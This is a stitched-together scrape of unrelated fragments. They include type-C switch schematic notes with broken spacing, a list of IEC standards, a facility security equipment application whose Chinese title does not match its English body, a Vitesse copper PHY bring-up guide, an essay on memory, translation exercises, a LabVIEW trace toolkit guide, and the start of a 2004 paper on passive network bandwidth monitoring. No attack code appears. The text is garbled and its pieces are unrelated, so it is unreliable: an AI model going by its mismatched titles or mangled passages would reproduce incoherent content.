ype-C c onn ect or, bec aus e wit hou t EM I i ssu e.C55-C61, C63 are "m ust hav e" to prev ent no n-DP co mpl iant 3.3V PI3USB30532 UFP-sink reference schematic for type-C PD/DP/ALT applicationPI3USB31532 DFP-source reference schematic for type-C PD/DP/ALT applicationTV Sty pe-C co nnec tor , be cau se ith out EMI iss ue.C118-C 125 are "m ust hav e" t o p reve nt non-DP comp lia nt 3.3VC97-C103, C105 a re "mu st h ave" t o pr eve nt n on-DP comp lia nt 3.3Vd t ype-C c onn ecto r, bec ausewit hou t EM I i ssue.TV SPI3USB31532 UFP-sink reference schematic for type-C PD/DP/ALT application。

(IEC)标准系列08

IEC 62375-2004
视频系统(625/50改进的).使用垂直消隐间隔的视 Video systems (625/50 progressive) - Video and accompanied data using the vertical blanking interval 频和伴随数据.模拟接口 - Analogue interface 辐射防护测量仪表.体内计数管.便携式、可运输和已安装设备的分类、一般要求和试验过程 Radiation protection instrumentation - In vivo counters - Classification, general requirements and test procedures for portable, transportable and installed equipment
IEC 61300-3-5-2004
IEC 61196-4-2004
IEC 62149-1-2004
Fibre optic active components and devices - Performance standards - Part 1: General and guidance
IEC 60896-21-2004
IEC 61770 AMD 1-2004
国际电工委员会(IEC)标准系列08
标准号中文名英文名
IEC 61496-1-2004
2 ，70
机械的安全.电敏保护设备.第1部分:一般要求和试 Safety of machinery - Electro-sensitive protective equipment - Part 1: General requirements and tests 验绝缘液体.相对电容率、电介质损耗因数(tan)和直 Insulating liquids - Measurement of relative permittivity, dielectric dissipation factor (tan ) and 流电阻率的测量 d.c. resistivity Specification for radio disturbance and immunity measuring apparatus and methods - Part 2-4:Methods of measurement of disturbances and immunity - Immunity measurements Specification for radio disturbance and immunity measuring apparatus and methods - Part 2-3:Methods of measurement of disturbances and immunity - Radiated disturbance measurements 可编程序设备的标准数字接口.第2部分:代码、格式、协议和通用命令避雷器.第4部分:交流电系统用无间隙金属氧化物避雷器 Standard digital interface for programmable instrumentation - Part 2: Codes, formats, protocols and common commands Surge arresters - Part 4: Metal-oxide surge arresters without gaps for a.c. systems

人员立线侦控的申请书

人员立线侦控的申请书英文回答：Personnel Perimeter Detection Application.Purpose:The purpose of this application is to request approval for the implementation of Personnel Perimeter Detection (PPD) system to enhance the security measures of our facility. PPD technology provides a non-invasive method for detecting concealed weapons, contraband, and otherpotential threats on personnel entering or exiting the premises.System Description:The PPD system proposed for implementation is a state-of-the-art, multi-modal system that employs a combination of advanced technologies, including:Passive Millimeter Wave Imaging: Detects concealed objects by analyzing thermal radiation emitted by the human body.Metal Detection: Identifies metallic objects, such as weapons and tools.Explosives Trace Detection: Detects traces of explosives on clothing, luggage, or other personal items.The system is designed to provide high sensitivity and low false alarm rates, ensuring that legitimate personnel are not unnecessarily delayed or harassed.Benefits:Implementing a PPD system would provide numerous benefits to our facility, including:Enhanced Security: Detection of concealed weapons, contraband, and other threats would significantly reducethe risk of security breaches or incidents.Improved Response Time: Early detection of potential threats would allow for faster and more effective response by security personnel.Increased Deterrence: The presence of a PPD system would deter individuals from attempting to enter the premises with prohibited items.Non-Invasive and User-Friendly: The PPD system is designed to be non-invasive and user-friendly, minimizing inconvenience to personnel.Personnel Requirements:The PPD system requires trained and certified personnel to operate and maintain effectively. Security personnel assigned to this task would undergo comprehensive training on:System operation and maintenance procedures.Threat detection and identification techniques.Emergency response protocols.Budget and Implementation Plan:The estimated cost of implementing the PPD system is [INSERT AMOUNT]. An implementation plan has been developed that includes:Procurement and installation of equipment.Training of security personnel.Integration with existing security systems.Operational testing and evaluation.Conclusion:The implementation of a Personnel Perimeter Detectionsystem would significantly enhance the security of our facility. The system's advanced technology, combined with trained and certified personnel, would provide a comprehensive solution for detecting and deterring potential threats. We strongly recommend approval of this application.中文回答：人员周界侦控申请书。

SimpliPHY设备应用指南：铜物化学的引导说明书

ENT-AN0155Application Note Copper PHY Bring Up Guide1Revision History (1)1.1Revision 1.0 (1)2Introduction (2)2.1References (2)2.1.1Vitesse Documents (2)2.1.2IEEE Standards (2)2.1.3External Documents (2)3Designing with SimpliPHY Devices (3)3.1Design Documentation (3)4First Steps for Bringing-up the PHY (4)4.1Board Inspection (4)4.2First Power-Up (4)4.3Clock and Reset Inspection (4)5Troubleshooting (5)5.1DC Board Level Measurements (5)5.2Oscilloscope Board Level Measurements (5)5.3Register Level Measurement (6)5.3.1RJ45 to the PHY Ingress Path (6)5.3.2PHY to RJ45 Egress Path (6)5.3.3PHY to MAC Pathways (6)5.3.4Miscellaneous Issues (6)1Revision HistoryThe revision history describes the changes that were implemented in the document. The changes arelisted by revision, starting with the most current publication.1.1Revision 1.0Revision 1.0 was the first release of this document. It was published in January 2008.2IntroductionThis document provides useful guidelines for hardware and software engineers bringing up a SimpliPHYgigabit copper PHY for the first time on their prototype board. It is geared towards speedingdevelopment to production.2.1References2.1.1Vitesse DocumentsVitesse Copper PHY DatasheetsVitesse Copper PHY Design and Layout Guides2.1.2IEEE StandardsIEEE-802.3, CSMA/CD Access Method and Physical Layer Specification2.1.3External DocumentsHigh Speed Digital Design, Author: Howard Johnson, PH.D., ISBN 0-13-395724-13Designing with SimpliPHY DevicesVitesse wants to thank you for taking the opportunity to design with one of the most innovativeEthernet PHY devices in the market. At Cicada Semiconductor, which was acquired by VitesseSemiconductor in 2004, the mission of the Gigabit Ethernet PHY design team is to continually innovatethe industry with system integration of passive components, best energy efficiency practices to achievethe industry’s lowest power PHYs in production, and provide innovative features for testabilitypurposes. This document outlines the steps a hardware/software designer needs to take to bring aVitesse copper PHY to full functionality.3.1Design DocumentationVitesse recognizes that a designer can only achieve the best designs with the most recent availabledocumentation. We make a practice of continually ensuring our online documentation is the mostup-to-date with all the datasheets and application notes you need to design for first pass success. As aresult, even if one has designed with a Vitesse copper PHY before, it is advisable to visit the Vitesse website () and analyze the specific product page to ensure you have the latestdocumentation.Two of the most important documents a designer needs are the datasheet and the design and layoutguide. The datasheet will provide the most in-depth information, including the following.FunctionalityRegister mapPin informationElectrical specsThe Design and Layout Guide is an additional document that highlights commonly used design practicesto achieve first pass success. It includes information such as the following.GroundingPower considerationsThermal considerationsCopper/fiber interfaceMAC interfaceOther miscellaneous design informationThese two documents provide information to help you with your design. In addition, Vitesse is morethan willing to also review your schematic. When you are ready, contact your local Vitessesales/distribution representative and arrange a schematic review for your design. While not required, toensure an accurate review, make sure to provide the following.Device used (if not obvious in the schematic)If the PHY is being used in an a-typical manner, provide a block diagram/description to help usensure we are correctly reviewing your innovative application.Magnetic part number. If the device is not found on the web, forward the datasheet along with theschematicIf not obvious in the design, what the MAC interface of the PHY is connected to.The origination points of the JTAG, MDC/MDIO, and Clock inputsResistor values (if not already listed)Do not install (DNI) list if not apparent in the designPower being applied to the power supply pinsThe next section will describe the first steps to bringing-up the copper PHY device for the very first time.4First Steps for Bringing-up the PHYOnce you receive your completely assembled proto-type boards with a SimpliPHY device included, it ishighly recommended one follows these first steps to avoid many headaches involved with bringing up acopper PHY device for the first time.4.1Board InspectionThe first step is to visually inspect the board to ensure that all components placed are correct, in theproper oriented location, and there are no cold or missing solder joints on both the PHY device and itsassociated devices (recognizing that this step is difficult with BGA devices).4.2First Power-UpThe next step is to power up the device. This involves powering up all power rails associated with thePHY. While all SimpliPHY devices to not have power sequencing, it is still advisable for reliability topower all supplies in a relatively simultaneous manner. At this stage, for the first power-up, it isadvisable to measure the design’s power network and ensure that all power supplies are correctly set tothe correct voltage for all rails. The best place to measure is either at the pins of a QFP or at thedecoupling capacitors underneath the BGA closest to its power pins.Each Copper PHY has three supply rails: 3.3 V, 1.2 V, and 1.2 V filtered analog that connect to the powerpins of the device. Note that the VSC8211/21 and VSC8224/44 have an additional 3.3 V filtered analog.This is an important step because inadequate power supplies cause the most common cause of linkfailures, auto-negotiation problems, and random system event such as CRC errors. At some point duringfull system data traffic testing, it is also advisable to check these power supplies again to ensure thelocal decoupling network is supplying a proper voltage to these pins at all times and is capable offiltering out the transient responses that occur during data traffic operation.4.3Clock and Reset InspectionAfter the first power-up, the next step is to check the PHY input clock and reset. Power must be appliedand the clock (either 25 MHz or 125 MHz) must send pulses at the correct frequency for the prescribedperiod of time in the datasheet before the reset pin (or pins in the case of devices with soft reset) isreleased. In the event of a power or clock loss, the reset must be re-applied in order to bring the deviceback to a known operational state. To ensure the device will properly respond to the clock, thePLLMODE and OSCEN pins must be set correctly based on the type of clock input. For example, a 25 MHzTTL input requires the PLLMODE = 0 (low) and OSCEN = 0 (low).At this point, plugging in a cable with a working link partner on the other end should achieve a link-up. Ifthis does not happen, go to the next section which describes a few trouble-shooting steps to helpdetermine the problem.5TroubleshootingThe two types of basic bring-up issues are as follows.No link-upLink-up but no traffic passing or CRC errored trafficThe following sections help the user to locate the problems preventing normal operation. Contact yourVitesse technical support engineer to assist you with this process.5.1DC Board Level MeasurementsWhile a Gigabit Copper PHY is a very complex device, a normal operating PHY will still have specificvisible behaviors that can be observed with basic lab measurement tools. As an example, many of thesecan be measured with a DC volt-meter. Once power has been applied, reset is deasserted, and a clock isbeing provided to the device, examine the following.The following can be seen if the power is up and stable.REF_FILT pin = ~1.15 to ~1.25 V DCREF_REXT pin = ~0.98 to ~1.06 V DCCopper Pair A and B = ~1.65 V DCProblems in this area are usually related to power and grounding issues. The voltages of copper pairs areset by halving the VDD33 voltage supply (3.3 V/2 = 1.65 V).5.2Oscilloscope Board Level MeasurementsIn addition, several areas of the device can be examined with a basic oscilloscope. When reset isdeasserted and a clock is being provided to the device, the following can be seen.Copper Pair A and B = You should see link pulses and they should alternate between A and B (whichis the Auto MDI/MDI-X operation happening)Copper Pair C and D = No link pulses present. In the absent of a link partner, this is normal asauto-negotiation only works on pairs A and B. During normal operation these pins are only used for1000BASE-T and not used in 10/100BASE-TMDC/MDIO = One should see clear pulses if the host is trying to communicate with the PHY. Use theread command to see if the PHY responds after the Turnaround bit.CLKOUT = if enabled, you should have a 125 MHz output which means the internal PHY PLL isoperationalProblems with any of these items can be related to several issues. The obvious one is a subtle powerissue. Also, it is important to ground the JTAG TRST pin when in normal operation and releasing the PHYreset. The copper PHYs do not have an internal power-up reset circuit for the JTAG and as a result, thismust be handled through the JTAG TRST in order to configure the boundary scan chain to a known state.This issue manifests itself as unreliable linkups after several resets (works sometimes, but not alwaysafter reset is deasserted). Problem related to MDC/MDIO could be improper impedance traces orimproper board termination (the MDIO requires a pull- up at some point along the trace as this signal isopen drain).If designing with an RGMII interface, it is important to check to make sure that the proper delay linecompensation is set correctly. Usually what can be done is to measure one side of the RGMII path’sclock, the CTL pin and one of the data pins. If it is assumed the transmitter is providing the delay, thenthis should be seen through this measurement. If the delay is taken care of at the receiver, then theclock, data, and control pins should all line up. Any skew within this measurement could be the reasonwhy CRCs or no data is being passed.5.3Register Level MeasurementIf no data is being passed or CRC are present, it is important to isolate the problem. This can be donewith register settings. First step is to discover the source of the problem. A general rule to consider isthat a packet that traverses through a PHY can either be interpreted as a good packet, a bad (CRC)packet, or a dropped packet. Generally, MACs drop errored packets in the ingress side and egresserrored packets are captured as CRC errors by test equipment and PHYs that can detect CRCs. This is notalways the case, but can help guide you to discover the root of the pathway issues.5.3.1RJ45 to the PHY Ingress PathTo debug if this pathway is working, ensure that the link is up, the link partner is actually providingtraffic, and read the local PHY’s CRC counters and verify that the packets are being counted. If the linkpartner sends 100 packets, the local PHY’s counter should increment the counter by 100. If not, see ifany of these good packets are being interpreted as CRC packets through this counter. The PHY cannotdrop a packet. If a fragment is being processed by the PHY, it will continue to pass this along and count itas a packet where as a MAC may just drop it.5.3.2PHY to RJ45 Egress PathThere are several ways to determine if this path is valid. First, is to have the MAC transmit a set numberof packets and count them at the link partner. If this is not possible, the Copper PHY has a packetgenerator. This can be enabled and the link partner can be used to determine if the packets wereactually transmitted. Combining this pathway to the previous one, the far-end loopback can be used andone could have the link partner transmit packets and the link partner then captures the incomingpackets to determine if they actually made it to the PHY and returned.5.3.3PHY to MAC PathwaysAmong the most common problems of pathway issues, the majority occurs between the PHY and theMAC due to impedance or timing skew issues. The steps in the previous two sections can be used hereas well to help isolate the problem. For example, a packet generated by the link partner, to the PHY, andbound for the MAC, counted by its counter. If this packet is errored, it will likely be dropped. In certaincases, it may make sense to use the near-end loopback to help isolate issues. In some cases, customersmay have gotten the TX and RX backwards or even the + and − signals for SGMII in the wrongorientation.5.3.4Miscellaneous IssuesOther issues that one can troubleshoot are to ensure that all relevant advertisements in registers 0, 4,and 9 are set properly. Also, the operating mode in Register 23 is configured correctly for a particularmedia interface. Auto MDI/MDI-X should be properly configured, as well. Some PHYs require aninitialization script for normal operation. See the Associated Device Datasheet and Design and LayoutGuide for more information.Microsemi HeadquartersOne Enterprise, Aliso Viejo,CA 92656 USAWithin the USA: +1 (800) 713-4113Outside the USA: +1 (949) 380-6100Sales: +1 (949) 380-6136Fax: +1 (949) 215-4996Email:***************************© 2007 Microsemi. All rights reserved. Microsemi and the Microsemi logo are trademarks of Microsemi Corporation. All other trademarks and service marks are the property of their respective owners.Microsemi makes no warranty, representation, or guarantee regarding the information contained herein or the suitability of its products and services for any particular purpose, nor does Microsemi assume any liability whatsoever arising out of the application or use of any product or circuit. The products sold hereunder and any other products sold by Microsemi have been subject to limited testing and should not be used in conjunction with mission-critical equipment or applications. Any performance specifications are believed to be reliable but are not verified, and Buyer must conduct and complete all performance and other testing of the products, alone and together with, or installed in, any end-products. Buyer shall not rely on any data and performance specifications or parameters provided by Microsemi. It is the Buyer's responsibility to independently determine suitability of any products and to test and verify the same. The information provided by Microsemi hereunder is provided "as is, where is" and with all faults, and the entire risk associated with such information is entirely with the Buyer. Microsemi does not grant, explicitly or implicitly, to any party any patent rights, licenses, or any other IP rights, whether with regard to such information itself or anything described by such information. Information provided in this document is proprietary to Microsemi, and Microsemi reserves the right to make any changes to the information in this document or to any products and services at any time without notice.Microsemi, a wholly owned subsidiary of Microchip Technology Inc. (Nasdaq: MCHP), offers a comprehensive portfolio of semiconductor and system solutions for aerospace & defense, communications, data center and industrial markets. Products include high-performance and radiation-hardened analog mixed-signal integrated circuits, FPGAs, SoCs and ASICs; power management products; timing and synchronization devices and precise time solutions, setting the world's standard for time; voice processing devices; RF solutions; discrete components; enterprise storage and communication solutions; security technologies and scalable anti-tamper products; Ethernet solutions; Power-over-Ethernet ICs and midspans; as well as custom design capabilities and services. Microsemi is headquartered in Aliso Viejo, California, and has approximately 4,800 employees globally. Learn more at www. .VPPD-02058。

背不会东西烦恼英语作文600字

背不会东西烦恼英语作文600字The inability to retain information can be afrustrating and common problem for many individuals. It can manifest in various academic and professional settings, hindering our progress and undermining our confidence. While there are numerous factors that can contribute tothis difficulty, understanding the underlying causes and implementing effective strategies can significantly improve our ability to memorize and recall information effectively.One of the primary reasons for struggling to remember things is a lack of focus and concentration. When our minds are preoccupied with distractions or we are not fully engaged in the learning process, it becomes challenging to encode information into our memory. To overcome this, it is essential to create a conducive learning environment that minimizes distractions and fosters concentration. This may involve finding a quiet study space, eliminating background noise, and breaking down large tasks into smaller, manageable chunks.Another common factor that affects memory is the absence of meaningful connections. When we fail toestablish meaningful associations between new information and our existing knowledge, it becomes harder to retrieveit later on. To address this, it is helpful to actively engage with the material by relating it to personal experiences, connecting it to other concepts, or creating visual representations such as diagrams or mind maps. By making the information personally relevant and relatable, we enhance our ability to remember it.Furthermore, the way in which we process and store information plays a crucial role in our ability to recall it. Passive learning methods, such as simply reading or listening without active engagement, are often less effective than active learning techniques. To improve our memory, we should actively engage with the material by summarizing, questioning, teaching it to others, or applying it to real-life situations. This forces our brains to process the information more deeply, leading to stronger memories.Another important aspect to consider is the spacing effect. Research has shown that spacing out our learning sessions over time, rather than cramming everything in one go, can significantly improve retention. By revisiting information at increasing intervals, we reinforce the memory traces in our brains, making it more likely that we will be able to recall it later on.In addition to the aforementioned strategies, there are several other techniques that can aid in improving our memory. These include:Retrieval practice: Regularly testing ourselves on the material we are trying to learn forces our brains to actively retrieve the information, strengthening the memory traces.Mnemonics: Using memory aids such as acronyms, rhymes, or imagery can help us create memorable associations and improve our ability to recall information.Visual aids: Incorporating visual elements like diagrams, charts, or videos into our learning can make the information more engaging and easier to remember.Chunking: Breaking down large amounts of information into smaller, manageable chunks can make it easier to process and retain.Interleaving: Mixing up different types of information or tasks during a study session can improve our ability to remember and apply the information in different contexts.It is important to note that improving our memory is not a quick fix. It requires consistent effort and the implementation of effective strategies over time. By understanding the underlying causes of memory difficulties and adopting these techniques, we can significantly enhance our ability to retain information and achieve our academic and professional goals.。

英语翻译复习题

复习题一1.翻译包括_________和___________两个重要阶段。

2.所谓翻译，是翻译_______，而不是翻译词句。

3.我国现行的翻译标准可归纳为_____，_____四个字。

4.鸠摩罗什考证了以前的佛经译者，检讨了翻译的方法，全改以前的古直风格，主张_______________，并提倡译者署名。

5.在翻译的过程中，玄奘对自己提出了“_________，_________”的要求，这对于今天的翻译活动仍然具有指导意义。

6.鲁迅主张：“凡是翻译，必须兼顾着两面，一当然力求其_________，一则保存着原作的__________。

”7. VIP8. Prime Minister9. welfare factory10. sign language11. industrial revolution12. Royal Society13. criss-crossed14. business district15. historical sites16. municipal government17.十分之八18.美国国会19.社会震动20.创新21.畜产品22.彻底粉碎23.浓妆艳抹24.大陆架25.落汤鸡26.精神力量27.Perfumes may be made from the oils of certain flowers.28.My wife and I, as well as our entire party, are deeply grateful.29.Each Contracting State undertakes to adopt, in accordance with its Constitution, such measures as are necessaryto ensure the application of this Convention.30.The samples of soil from various depths are examined for traces of oil.31.All have this in common: they are biological solutions, based on understandin g of the living organisms theyseek to control, and of the whole fabric of life to which these organisms belong.32.请把这张表填一下，填完交给我。

英语高级表达方式

【高级表达方式—-抽象名词的使用】1. ABSENCE: （with/there is) the absence of attempt/ workA．Many medical experts are now agreed that with the general absenceof roughage，modem citizens are literally--—via heart attacks and cancer——eating and drinking themselves into the grave．许多医学专家现在一致认为,由于食物中总体缺少粗粮，现代公民们就是这样一日三餐，不知不觉地患上了心脏病和癌症。

最终送命，这样说并非言过其实。

B．There seems to have been an absence of attempt at conciliation between rival sects．似乎没有进行任何尝试去调解对立派之间的矛盾。

C．For large numbers of people, the absence of work is harmful to their health．对大多数人来说，没有工作对他们的身体反而有害。

2。

ACCEPTANCE: have/find/obtain/gain/win (general/immediate/wide) acceptance for/among/ofA．Academic dishonesty has had relatively strong peer support and acceptance among some students，partly because we did not make a seriouseffort to explain why such behavior is contemptible．学习上的作弊得到同伴相对有力的支持，也被一些学生所接受。

LabVIEW Desktop Execution Trace Toolkit for Window

Getting Started with the LabVIEW Desktop Execution™Trace Toolkit for WindowsThe LabVIEW Desktop Execution Trace Toolkit for Windows is astand-alone application that acquires execution data from LabVIEWapplications that run on the desktop. The toolkit displays the data itacquires, called trace data, as events in a table view that you can browse,save, and compare to other collections of trace data. For each executionevent that occurs, the table view displays the type of event, the time theevent occurs, the VI in which it occurs, and any additional details that areavailable.You can use trace data to debug and optimize large LabVIEW applications,including those with multiple loops, client-server architectures,dynamically loaded VIs, and so on. The process of acquiring trace datafrom a running application is referred to as executing a trace session.This manual uses an example LabVIEW project to show you how toconfigure, execute, and save trace sessions in which you acquire andanalyze data from a running LabVIEW application.ContentsLaunching the Desktop Execution Trace Toolkit (2)Completing a Trace Session (2)Opening a Trace Connection (2)Configuring a Trace Session (3)Executing a Trace Session (3)Filtering a Trace Session (4)Saving or Exporting a Trace Session (5)Comparing Trace Sessions (6)Advanced Debugging Options (7)Related Documentation (7)Launching the Desktop Execution Trace ToolkitAfter you install the Desktop Execution Trace Toolkit, you can launch thetoolkit in any of the following ways:•In the LabVIEW Project Explorer window, right-click MyComputer and select Trace Execution from the shortcut menu. Thismethod launches the toolkit and opens a trace connection to theapplication instance of the project.•From a LabVIEW VI, select Tools»Profile»Trace Execution. Thismethod launches the toolkit and opens a trace connection to theapplication instance in which you are developing the VI.•In Windows, select Start»All Programs»National Instruments»LabVIEW Desktop Execution Trace Toolkit»LabVIEW DesktopExecution Trace Toolkit.Completing a Trace SessionWhen you use the Desktop Execution Trace Toolkit to capture trace datafrom a LabVIEW application, you are completing a trace session.Opening a Trace ConnectionTo begin a trace session, you must open a trace connection between theDesktop Execution Trace Toolkit and the LabVIEW application instance inwhich the application you want to debug runs. Complete the followingsteps to open an example project and open a trace connection to theapplication instance of the project.1.In LabVIEW, select Help»Find Examples to launch the NI ExampleFinder.2.Navigate to Toolkits and Modules»Desktop Execution Trace anddouble-click Desktop Execution Trace Toolkit.lvproj to open theexample project.3.In the project, right-click My Computer and select Trace Executionfrom the shortcut menu to launch the Desktop Execution Trace Toolkitand open a trace connection to the project.applications on which you execute trace sessions. If LabVIEW prompts you to enable theVI Server, click the Yes button. Refer to the LabVIEW Desktop Execution Trace Toolkitfor Windows Help, available by selecting Help»Launch Help in the toolkit, for moreinformation about enabling the VI Server.Desktop Execution Trace © National Instruments Corporation 3Desktop Execution Trace ToolkitConfiguring a Trace SessionAfter you open a trace connection, you can configure the types of execution events you want to trace by selecting execution events to capture.Complete the following steps to configure the trace session for the trace connection you opened in the previous section.1.In the Desktop Execution Trace Toolkit, click the Configure button, shown at left, to display the Configure Trace Session dialog box.2.Ensure that checkmarks appear in the checkboxes for the events you want to trace. Selecting only the events you want to trace reduces theamount of data the toolkit must process and that you must analyze. Forthis example, you can use the default configuration.3.Click the OK button to apply the configuration settings and close theConfigure Trace Session dialog box.Executing a Trace SessionAfter you open a trace connection and configure the trace data you want to acquire, you are ready to execute a trace session and capture the trace data. Complete the following steps to execute a trace session.1.In the Desktop Execution Trace Toolkit, click the Start button, shown at left, to begin tracing data.2.In the LabVIEW Project Explorer window, expand the Tests folder and double-click Desktop Execution - Generate Trace Events.vi toopen the VI.3.Click the Run button to run the VI. The Desktop Execution TraceToolkit begins tracing the execution events that occur as the VI runsand displays the events in the table view.By default, the table view displays each event in the order it occurs, thetime each event occurs, the VI that triggers the event, the type of theevent, and details about the event. Right-click a column header toselect the columns you want to show or hide in the table view.You can select an event from the table view to display additional detailsabout the event in the Event Details section at the bottom of the table.4.Click the buttons on the front panel of the Desktop Execution -Generate Trace Events VI to see how the Desktop Execution TraceToolkit captures data about the type of event the button triggers. Forexample, click the Load Dynamic VI button to see the events thatoccur when the parent VI loads a subVI dynamically.5.(Optional) Double-click an event in the table view of the DesktopExecution Trace Toolkit to highlight where the event occurs on theLabVIEW block diagram.Desktop Execution Trace Toolkit at left, to stop tracing data and complete the trace session.If you are tracing an application that you expect to generate a large numberof events, you can improve performance by only displaying trace data in thetable view after the trace session is complete. Right-click the table view andselect Display Refresh Off from the shortcut menu to disable automaticrefreshing of the table view. In this mode, the table view waits until youstop the trace session to display the trace data.You also can improve performance by disabling table highlighting. Bydefault, the Desktop Execution Trace Toolkit highlights different eventtypes using different background colors for the event types. SelectTools»Options to display the Options dialog box, and select TableHighlight from the Category list to display the Table Highlight page.Place a checkmark in the Disable Highlighting checkbox and click the OKbutton to disable table highlighting.Filtering a Trace SessionExecuting a trace session even on a small application can capture hundredsof execution events. You can make the table view easier to read by filteringthe events that the table view displays. For example, you can filter eventsthat occur in specific VIs. Complete the following steps to filter VI events.1.Click the Start button to start a new trace session using the same example project from the previous exercise.2.In LabVIEW, click the Run button to run the Desktop Execution -Generate Trace Events VI. The table view in the Desktop ExecutionTrace Toolkit updates to display trace data for the new trace session.3.In the Desktop Execution - Generate Trace Events VI, click the LoadDynamic VI button to load the Strip Chart SubVI. In the table view,the VI column shows that events now occur in the Strip Chart SubVI.4.Click the Configure Filter button, shown at left, that appears at the topright of the table view to display the Configure Displayed Eventsdialog box. The Category list displays the different sources of traceevents.5.Without removing the checkmark from the checkbox next to the item,select VIs from the Category list to display the VIs page of the dialogbox.6.In the VIs list, remove the checkmark from the Desktop Execution -Strip Chart SubVI.vi checkbox and click the OK button to filter theevents that occur in the subVI. The table view updates so that thefiltered events no longer appear.© National Instruments Corporation 5Desktop Execution Trace Toolkittracing data and complete the trace session.Filtering events prevents those events from appearing in the table view.However, the Desktop Execution Trace Toolkit continues to trace filteredevents. You can use the Configure Displayed Events dialog box to specifyevents to filter or display at any time. The table view updates to matchthe new configuration settings each time you click the OK button in theConfigure Displayed Events dialog box. You also can click the ClearFilter button, shown at left, to stop filtering events.NoteIf you do not want the Desktop Execution Trace Toolkit to trace a specific type of event at all, you must deselect that event type in the Configure Trace Session dialog box mentioned in the Configuring a Trace Session section.Saving or Exporting a Trace SessionAfter you complete a trace session, you can save the session to view at alater time. Select File»Save Trace or right-click the trace session name inthe Trace Data view and select Save Trace from the shortcut menu to savethe trace session. Select File»Load Trace to load a saved trace session.The Desktop Execution Trace Toolkit saves trace sessions as trace tool data(.ttd ) files that the toolkit recognizes and can reload in the table view.Only the Desktop Execution Trace Toolkit recognizes this file format.However, you can export trace sessions to text (.txt ) files that you canview in any text editor. Select File»Export Trace , right-click a display inthe table view and select Export Trace from the shortcut menu, orright-click a trace session name in the Trace Data view and select ExportTrace from the shortcut menu to export a trace session to a text file.Tip You can use the General page of the Options dialog box to configure the appearance of exported text files. Select Tools»Options to display the Options dialog box, and select General from the Category list to display the Generalpage.Desktop Execution Trace Toolkit Comparing Trace SessionsEach application instance in the Trace Data view has a default tab thatupdates to show new trace data each time you execute a trace session.However, you can split a single tab into multiple displays to displaymultiple trace sessions on a single tab. Complete the following steps todisplay the two trace sessions you completed in this chapter on one tab in the table view.1.Right-click the table view and select Split Display»Horizontal from the shortcut menu. The tab splits into two displays.2.By default, a new display contains the same data as the display fromwhich you create it. Right-click one of the displays and select ClearDisplay from the shortcut menu to clear the display.3.In the Trace Data view, select the trace session that does not currentlyappear on the tab and drag it the display you cleared. The displayupdates to show the data from that trace session.You also can view multiple trace sessions at once by creating separate,floating windows for tabs. After you create a floating window, you candock the window so it appears in a fixed location in the application window. Right-click a tab name and select Float from the shortcut menu to display the tab in a separate, floating window.NoteYou cannot float the first or default tab for an application instance. Right-click a trace session in the Trace Data view and select Open in New Tab»Table to create additional tabs.Grab the title bar of the floating window and drag the window to display docking icons, shown at left. While dragging the window, move the cursor over one of the docking icons and release the mouse button to dock thewindow at the highlighted location.© National Instruments Corporation 7Desktop Execution Trace ToolkitAdvanced Debugging OptionsThe Desktop Execution Trace Toolkit offers the following advanced debugging options.•Tracing User-Defined Trace Events —If you install the Desktop Execution Trace Toolkit on a computer with LabVIEW 8.6.1 or later, the Generate User-Defined Trace Event function, shown at left, appears on the Functions palette in LabVIEW. When this function executes, the Event column of the Desktop Execution Trace Toolkit table view displays a User Defined trace event. The Details column displays any values you wire to the inputs of the function. For example, if you execute a trace session on a LabVIEW application that writes a string to a file, you can wire the string to the trace string input of the Generate User-Defined Trace Event function. When the function executes, the Details column of the table view displays the exact string that the application writes.Refer to the LabVIEW Help for more information about the Generate User-Defined Event function.•Debugging LabVIEW Stand-Alone Applications and Shared Library Files —You also can use the Desktop Execution Trace Toolkit to debug stand-alone applications and shared library files that you build using the LabVIEW Application Builder. Refer to the LabVIEW Desktop Execution Trace Toolkit for Windows Help , accessible in the toolkit by selecting Help»Launch Help , for information about debugging LabVIEW built applications and shared library files.Related DocumentationThe following document contains information that you might find helpful as you use the Desktop Execution Trace Toolkit:•LabVIEW Desktop Execution Trace Toolkit for Windows Help —This help file contains information about the Desktop Execution Trace Toolkit environment, including views, menus, buttons, and dialog boxes. This help file also includes step-by-step instruction for completing trace sessions. In the toolkit, select Help»Launch Help to access this help file.•LabVIEW Help —This help file contains information about LabVIEW palettes, menus, tools, VIs, and functions. This help file also includes step-by-step instructions for using LabVIEW features. In LabVIEW, select Help»Search the LabVIEW Helpto access this help file.National Instruments, NI, , and LabVIEW are trademarks of National Instruments Corporation.Refer to the Terms of Use section on /legal for more information about NationalInstruments trademarks. Other product and company names mentioned herein are trademarks or tradenames of their respective companies. For patents covering National Instruments products/technology,refer to the appropriate location: Help»Patents in your software, the patents.txt file on yourmedia, or the National Instruments Patent Notice at /patents.© 2008–2009 National Instruments Corporation. All rights reserved.372651B-01Jun09。

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Appears in HPDC2004c 2004IEEEUsing Passive Traces of Application Trafﬁc in a Network Monitoring SystemMarcia Zangrilli and Bruce B.Lowekamp∗Computer Science DepartmentCollege of William and MaryWilliamsburg,V A23187-8795{mazang,lowekamp}@AbstractAdaptive grid applications require up-to-date networkresource measurements and predictions to help steer theiradaptation to meet performance goals.To this end,we areinterested in monitoring the available bandwidth of the un-derlying networks in the most accurate and least obtrusiveway.Bandwidth is either measured by actively injectingdata probes into the network or by passively monitoring ex-isting trafﬁc,but there is a deﬁnite trade-off between the ac-tive approach,which is invasive,and the passive approach,which is rendered ineffective during periods of network idle-ness.We are developing the Wren bandwidth monitoringtool,which uses packet traces of existing application trafﬁcto measure available bandwidth.In this paper,we demon-strate that the principles supporting active bandwidth toolscan be applied to passive traces of the LAN and WAN trafﬁcgenerated by high-performance grid applications.We useour results to form a preliminary characterization of the ap-plication trafﬁc required by available bandwidth techniquesto produce effective measurements.Our results indicate thata low overhead,passive monitoring system supplementedwith active measurements can be built to obtain a completepicture of the network’s performance.1IntroductionAdaptive grid applications require timely and accurateinformation about the available computational and networkresources in their environment.To accurately monitorthe network resource availability,adaptive applications canrely on techniques that either actively or passively measureavailable bandwidth.Techniques that actively inject trafﬁcWeb100kernel[11],to provide passive monitoring services. There are several beneﬁts of implementing our facility at the kernel-level:•Trafﬁc can be captured without modifying the applica-tion.•The amount of additional overhead can be minimized.•Packets can be accurately timestamped to nanosecond precision.•Kernel-level protocol information,such as TCP con-gestion window size and sequence numbers,can be recorded.To calculate available bandwidth,we must apply tech-niques designed for use with active probes to our passive traces.Most active bandwidth techniques rely on adjust-ments to the amount and/or rate of data being sent across the network.Our primary challenge with using passive packet traces is that we have no control over the trafﬁc pattern.This paper provides an overview of the Wren packet trace facility and describes how to apply techniques com-monly used to 